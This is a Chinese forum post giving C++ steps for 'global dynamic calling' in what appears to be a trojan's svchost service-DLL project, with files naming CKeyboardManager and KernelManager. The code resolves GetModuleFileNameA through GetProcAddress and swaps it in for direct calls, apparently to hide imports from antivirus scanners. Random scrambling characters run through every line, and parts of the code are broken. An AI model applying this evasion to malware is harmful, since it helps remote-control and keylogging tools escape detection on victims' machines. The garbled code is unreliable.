返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记: g+ f+ R) j2 s4 N
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
1 C3 h3 ^- L3 n. N, U, v" J----------------------------------------
; c, l/ n1 g$ O: z5 w) n+ I7 D/ ~DTDY.h:/ J$ L" M9 y+ e4 h
% `: f/ q. Y* C  m% x5 ^
#if _MSC_VER>1000
! ]: V. v4 \0 j: @#pragma once
# ]* o: c6 b3 D# I2 p3 Q; @#endif //_MSC_VER>10006 c! b) F8 |2 j# t7 E6 n* c
#include<windows.h>/ P: Q+ x$ i4 M9 M
; R3 k7 h- V. c" C* P4 @9 W
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);! ^# C1 W) a* a
class DTDY8 O1 h6 H) _8 L. y- o# V
{" s; j, X5 f+ v
public:
: i% G  Y: d7 i$ w9 |4 p$ dDTDY();/ b6 Q& }3 S2 E3 I' v! X
virtual ~DTDY();
8 D1 e5 C+ `' H8 R# \public:
' \* n, d. k: {, }# Mstatic pGetModuleFileNameA MyGetModuleFileName;* H' s3 F# K- U" z5 O, R+ v1 T
static BOOL FunInitiallization();; l/ _! P' K' N" t5 K" ]
};3 I5 }: @3 J4 i' g: ?5 a3 G
#endif
$ I$ V$ j5 ?' M----------------------------------------5 Z- _$ o/ A( A, k) x
( V& \, @7 B% x5 H4 f, E
DTDY.cpp:
2 h: v. M) {" j! s- d2 S9 ^, o. W
#include "DTDY.h"/ G& C) j: t3 V$ P8 y
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;$ X/ ?+ n( U7 r; E% J1 Z
DTDY:TDY()* d. ~6 j$ {6 ~: L3 f
{
( V) M. Y7 Q% E: i' D2 ^/ v8 S5 h/ z}2 K9 {- a+ m/ B8 j0 f! x& Q) a6 S
DTDY::~DTDY()
" [1 \$ X: ?" q  x2 E% i$ Z6 {9 ]{; M: U, x, a6 I! I9 J# l9 @$ ?( {
}
6 y- U, U! h9 I1 z' a$ O) t! yBOOL DTDY::FunInitiallization()7 a9 H1 Z5 Q+ U+ f% r/ n# ~
{
7 H' T* L; e5 i) V. ~8 _HMODULE hModule=LoadLibrary("kernel32.dll");
1 x! w7 r0 J+ S- O' I. B! _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 C8 Z7 N, ]  q3 m7 J: o" Wif(!MyGetModuleFileName=) return FALSE;9 {2 P% t% X" C( w6 J
; e# y* K# l& x# P& m  _& w9 q# @4 A5 X
return TRUE;
; N& P2 E+ ]' y# J+ ^0 l}6 a& d# @8 u# ]6 H+ b( _7 @& W
----------------------------------------/ o, G" k& D6 g$ Q; |  h+ o# V
svchost.cpp:; U: M& `# M% Y. q1 }

& i6 @9 {3 g/ Y3 l) q, d#include "DTDY.h"% T# u  w5 m, a% W; h+ ~

7 G0 d* D& ~1 m9 S: J* a9 Q* ^BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
1 {4 m. |) F! [0 W- w& \) a{- S7 V: X' D$ ~+ B- e
switch(ul_reason_for_call)
4 g& Y, W/ j6 e{3 t# c$ w6 O4 {) l
case DLL_PROCESS_ATTACH:
0 u* y1 l. ~; M. |7 X' Bif(!DTDY::FunInitiallization()) return FALSE;# E1 s* {9 E) `3 N( R. O7 c$ D/ F

; j- a8 V0 i* _) A3 K: |) p6 ebreak;
; c% z8 q9 @/ a- J7 |}
/ |7 |5 p+ |) \/ i}) _8 J# d: b& R1 q. E; c6 E
# I- A/ p: O- |" q; q& G

! B% c2 u' I2 O, b1 p- L! I- ~7 B: |GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def' p+ Y& U9 b0 e( U' ~6 z
改写为
5 J, s0 K1 e7 ^$ t( C$ h9 v9 y* @DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));0 T# K" ]3 V0 Z1 K7 w$ L6 s* Z5 V
----------------------------------------
% k: D) w( z# D+ `+ I$ ?KernelManager.cpp:
! h' j, J$ O) N. R- r6 u: c1 ~( f
#include "../DTDY.h"6 a& B7 _% D# y; Z# U$ b  c) ^( |
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
+ M2 Y; h9 V7 N改写为
- J0 G$ x3 K* aDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 U; F/ e6 ~. ]1 ?3 H
----------------------------------------

返回列表